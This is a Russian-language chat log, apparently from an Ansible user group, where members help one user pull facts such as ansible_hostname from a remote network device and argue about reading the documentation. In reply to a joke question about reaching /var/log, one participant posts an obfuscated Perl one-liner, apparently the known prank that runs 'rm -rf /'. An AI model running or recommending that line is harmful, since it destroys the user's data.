Köfte
мда
Alf 🙀
а помните вчера были противники шаблонизаторов и генераторов?
Köfte
да, это я
Anton
чуваки, я в консоле своей сделал setup, и получил инфу о своём компе
Anton
она мне не нужна
Anton
мне нужна инфа по удалённой жклкзке
Yuri
а его в плейбук типа надо как задание вбить?
не обязательно. Перед выполнением плейбука выполняется setup, который забивает кучу переменных. Вот там и будет твой {{ ansible_hostname }}
Köfte
у меня есть пистолет, как снять с предохранителя?
Alf 🙀
вот если бы вот в тот тул еще тесты добавить цены бы не было
Yuri
чуваки, я в консоле своей сделал setup, и получил инфу о своём компе
Так если ты сделал setup своей тачке - ты и получил данные по свое тачке
Anton
Так если ты сделал setup своей тачке - ты и получил данные по свое тачке
так я и спрашиваю, как мне его на удалённой тачке сделать? в плейбук как задание вбить?
iF
чума просто, народ вас тролят )
Anton
блин
Anton
чума просто, народ вас тролят )
ты тролишь своими фразами еси только
Köfte
shell: ssh user@удаленная тачка '`hostname`'
Köfte
для изврата
Alf 🙀
становится жирно
Anton
я задал конкретный вопрос
Alf 🙀
я задал конкретный вопрос
тебе конкретно ответили кстати
iF
ты тролишь своими фразами еси только
А что тебе отвечать, если ты тупишь и не хочешь читать оф доку?
Köfte
я хочу здесь и сейчас!
Anton
А что тебе отвечать, если ты тупишь и не хочешь читать оф доку?
естесно я её почитаю, но мне нужен конкретный вопрос
iF
:D
Yuri
так я и спрашиваю, как мне его на удалённой тачке сделать? в плейбук как задание вбить?
ansible <тут-имя-твоей-тачки-так-как-ты-забил-его-в-инвентори> -m setup
Sergey
своими шаблонными "погугли" уже скучными становитесь
во-первых, отвечать на _любые_ вопросы - это право чата, а не обязанность во-вторых, если тебе предлагают что-то сделать - надо осмыслить и сделать, иначе дальнейшая дискуссия теряет смысл в-третьих, в случае дальнейшего "ятребуюответаздесьисейчасчовамсложначтоли"-канючения можно из чата вылететь без предупреждения.
Yuri
Пцны, как в линуксе перейти в директорию с логами? :)
Köfte
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
iF
и эти люди деплоят в железки, жуть!
Yuri
Я нагуглил, что cd /var/log
Yuri
Но куда это вбивать? :)
Alf 🙀
в голову
Sergey
Я нагуглил, что cd /var/log
это не сработает
Köfte
ага, сразу деплоит в прод
Köfte
с тестами!
Yuri
а вот это - сработает
Чота все потухло...
Alf 🙀
это не сработает
оно переходит на локальной машине а мне надо удаленная
Yuri
чёт не хрена нету
Ну, значит все плохо
Sergey
оно переходит на локальной машине а мне надо удаленная
это куда-то в плейбук надо вбить, кажется (ну я точно не знаю, а доку читать лениво)
Alf 🙀
чёт не хрена нету
у тебя твоя удаленная тачка в инвентори есть? паблик ключ на нее положен? путь до инвентори указан? ошибку какую возвращает?
Yuri
чёт не хрена нету
Реально.. начни отсюда: http://docs.ansible.com/ansible/latest/intro_installation.html Тебе понадобится минут 40 всего-лишь (если читаешь сносно), чтобы понять, что ты делаешь не так.
Anton
это была просьба
Anton
накинулись блин стервятники хреновы
Yuri
Ну тогда у тебя уйдёт меньше времени.
Sergey
я всё сделал что предложили и не помогло и я ниче не требую
тебе предложили прочесть доку. если у тебя понты с английским - так и скажи, если у тебя дефицит времени и начальник мозг ест - так и скажи, если блин есть внешние обстоятельства какие-то - так и скажи. мы - люди, и поймём. мы не понимаем только одного - упорной тупой лени и людей, которые считают, что им все должны. я не пытаюсь тебя записать в последнюю категорию, но твоё поведение на неё похоже. разубеди нас, пожалуйста.
iF
о, запинте плиз вот это!
Anton
но нет так нет буду по другому выдирать
Yuri
Да есть там быстроотвечаемое. Тебе псиали выше. ansible all -m setup -a "filter=ansible_hostname" где вместо all - имя твоего хоста, которое забито в inventory. Чтобы получить к ним доступ, там же в inventory должен быть забит способ доступа туда, если твоих ssh-ключей там нет.
Sergey
у меня нет проблем тобой описанных, суть вот в чем есть утилита netmiko, тоже питоновская, там есть команда getprompt я думал в ансибле есть нечто подобное быстроотыечаемое
в догон могу набросить, что даже просьба "разъясните человеческим языком сам концепт Ансибла" в моём представлении звучит адекватно. Ансибл работает с инвентори - файлом, где описан список хостов. формат файла - в доке. каким ключом передать инвентори ансиблу для работы - в доке. по умолчанию ансибл устанавливается и работает с инвентори-файлом, в котором находится одинокй локалхост - почему ты и увидел информацию о своей машине. Там же в инвентори можно прописать логиин, пароль, ключ, судошканье при подключении И не надо ничего ниоткуда выдирать 😉
Sergey
погуглить за тебя? https://serverfault.com/questions/628989/how-to-set-default-ansible-username-password-for-ssh-connection
Anton
погуглить за тебя? https://serverfault.com/questions/628989/how-to-set-default-ansible-username-password-for-ssh-connection
у меня все работает в этом плане вопрос был на об этом
Sergey
тогда, пожалуйста, перечитай моё длинное сообщение внимательно - там есть ответ на твой вопрос
Köfte
так тонко, что толсто
Köfte
что у вас тут за тролекастер сегодня? )
серьезные задачи, между прочим
Anton
так что setup мне наверна не поможет
Alf 🙀
так что setup мне наверна не поможет
-c CONNECTION, --connection=CONNECTION connection type to use (default=smart)
Anton
-c CONNECTION, --connection=CONNECTION connection type to use (default=smart)
блин чувак, у меня нет с этим проблем изначальный вопрос о другом
Alf 🙀
блин чувак, у меня нет с этим проблем изначальный вопрос о другом
вопрос насколько я помню про {{ansible_hostname}} который ты не можешь посмотреть в фактах
Anton
верно
Alf 🙀
да я помню. Не понимаю с чем у тебя проблема.
Anton
с тем что мне наверное сетап не поможет, т.к. это похоже на какой то скрипт
Anton
а скрипт на удаленной тачке не запустится
Anton
она не знает что такое питон
Alf 🙀
она не знает что такое питон
может быть ты прольешь немного света на свой блэкбокс?
Alf 🙀
а то кроме того что это какая то железка и она не умеет в пихтон ничего не известно
Alf 🙀
ios_facts
Anton
там нету
Alf 🙀
для этого существуют